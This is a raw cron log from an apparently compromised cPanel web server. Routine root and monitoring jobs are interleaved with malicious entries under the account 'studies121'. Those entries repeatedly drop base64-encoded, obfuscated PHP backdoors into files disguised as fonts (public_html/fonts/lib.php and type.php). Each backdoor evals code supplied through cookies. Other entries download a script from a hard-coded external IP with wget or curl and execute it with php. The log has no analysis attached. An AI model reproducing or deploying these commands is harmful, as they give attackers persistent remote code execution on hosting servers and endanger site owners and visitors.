Sep 20 12:54:01 ip-184-168-122-23 CROND[431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:55:01 ip-184-168-122-23 CROND[879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:55:01 ip-184-168-122-23 CROND[880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:55:01 ip-184-168-122-23 CROND[883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:55:01 ip-184-168-122-23 CROND[887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:55:01 ip-184-168-122-23 CROND[885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:55:01 ip-184-168-122-23 CROND[886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:56:01 ip-184-168-122-23 CROND[1336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:56:01 ip-184-168-122-23 CROND[1338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:56:01 ip-184-168-122-23 CROND[1340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:56:01 ip-184-168-122-23 CROND[1339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:56:01 ip-184-168-122-23 CROND[1341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:57:01 ip-184-168-122-23 CROND[1669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:57:01 ip-184-168-122-23 CROND[1670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:57:01 ip-184-168-122-23 CROND[1672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:57:01 ip-184-168-122-23 CROND[1674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:58:01 ip-184-168-122-23 CROND[2016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:58:01 ip-184-168-122-23 CROND[2018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:58:01 ip-184-168-122-23 CROND[2019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:58:01 ip-184-168-122-23 CROND[2020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:58:01 ip-184-168-122-23 CROND[2021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:59:01 ip-184-168-122-23 CROND[2258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:59:01 ip-184-168-122-23 CROND[2259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:59:01 ip-184-168-122-23 CROND[2260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:59:01 ip-184-168-122-23 CROND[2261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:00:01 ip-184-168-122-23 CROND[2540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:00:01 ip-184-168-122-23 CROND[2543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:00:01 ip-184-168-122-23 CROND[2546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 13:00:01 ip-184-168-122-23 CROND[2544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:00:01 ip-184-168-122-23 CROND[2542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:00:01 ip-184-168-122-23 CROND[2549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:00:01 ip-184-168-122-23 CROND[2541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:00:01 ip-184-168-122-23 CROND[2548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:01:02 ip-184-168-122-23 CROND[2852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:01:02 ip-184-168-122-23 CROND[2853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:01:02 ip-184-168-122-23 CROND[2855]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 13:01:02 ip-184-168-122-23 CROND[2856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:01:02 ip-184-168-122-23 CROND[2858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:01:02 ip-184-168-122-23 CROND[2859]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 13:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2855]: starting 0anacron
Sep 20 13:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2874]: finished 0anacron
Sep 20 13:02:01 ip-184-168-122-23 CROND[3110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:02:01 ip-184-168-122-23 CROND[3111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:02:01 ip-184-168-122-23 CROND[3113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:02:01 ip-184-168-122-23 CROND[3115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:02:01 ip-184-168-122-23 CROND[3116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:03:01 ip-184-168-122-23 CROND[3448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:03:01 ip-184-168-122-23 CROND[3449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:03:01 ip-184-168-122-23 CROND[3451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:03:01 ip-184-168-122-23 CROND[3450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:04:01 ip-184-168-122-23 CROND[3686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:04:01 ip-184-168-122-23 CROND[3688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:04:01 ip-184-168-122-23 CROND[3689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:04:01 ip-184-168-122-23 CROND[3691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:04:01 ip-184-168-122-23 CROND[3690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:05:01 ip-184-168-122-23 CROND[3960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:05:01 ip-184-168-122-23 CROND[3961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:05:01 ip-184-168-122-23 CROND[3964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:05:01 ip-184-168-122-23 CROND[3967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:05:01 ip-184-168-122-23 CROND[3966]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 13:05:01 ip-184-168-122-23 CROND[3965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:05:01 ip-184-168-122-23 CROND[3968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:06:01 ip-184-168-122-23 CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:06:01 ip-184-168-122-23 CROND[4244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:06:01 ip-184-168-122-23 CROND[4246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:06:01 ip-184-168-122-23 CROND[4247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:06:01 ip-184-168-122-23 CROND[4248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:07:01 ip-184-168-122-23 CROND[4510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
